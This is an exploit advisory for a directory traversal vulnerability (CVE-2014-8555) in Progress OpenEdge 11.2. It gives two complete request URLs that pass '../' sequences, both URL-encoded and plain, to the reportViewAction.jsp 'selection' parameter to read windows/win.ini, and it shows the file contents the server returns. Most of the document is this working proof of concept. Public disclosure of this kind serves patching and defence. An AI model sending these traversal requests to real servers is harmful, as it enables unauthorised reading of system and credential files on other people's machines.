Progress OpenEdge 11.2 Directory Traversal

                # Exploit Title: Progress OpenEdge Directory Traversal
# Date: 30/10/2014
# Exploit Author: Mauricio Correa
# Vendor Homepage: www.progress.com
# Software Link: www.progress.com/products/openedge
# Version: 11.2
# Tested on: Windows OS
# CVE : CVE-2014-8555
 
  
 
The malicious user sends a malformed request that generates the file access
up directories as follows:
 
  
 
http://target_ip:9090/report/reportViewAction.jsp?selection=..%2f..%2f..%2f.
.%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
 
  
 
or else
 
  
 
http://
target_ip:9090/report/reportViewAction.jsp?selection=../../../../../../../..
/../../windows/win.ini
 
  
 
  
 
And the application answers
 
  
 
; for 16-bit app support
 
[fonts]
 
[extensions]
 
[mci extensions]
 
[files]
 
[Mail]
 
MAPI=1
 
CMCDLLNAME32=mapi32.dll
 
CMC=1
 
MAPIX=1
 
MAPIXVER=1.0.0.1
 
OLEMessaging=1
 
  
 
  
 
More informations (in Br-Portuguese): https://www.xlabs.com.br/blog/?p=256
 
  
 
Thanks

<p>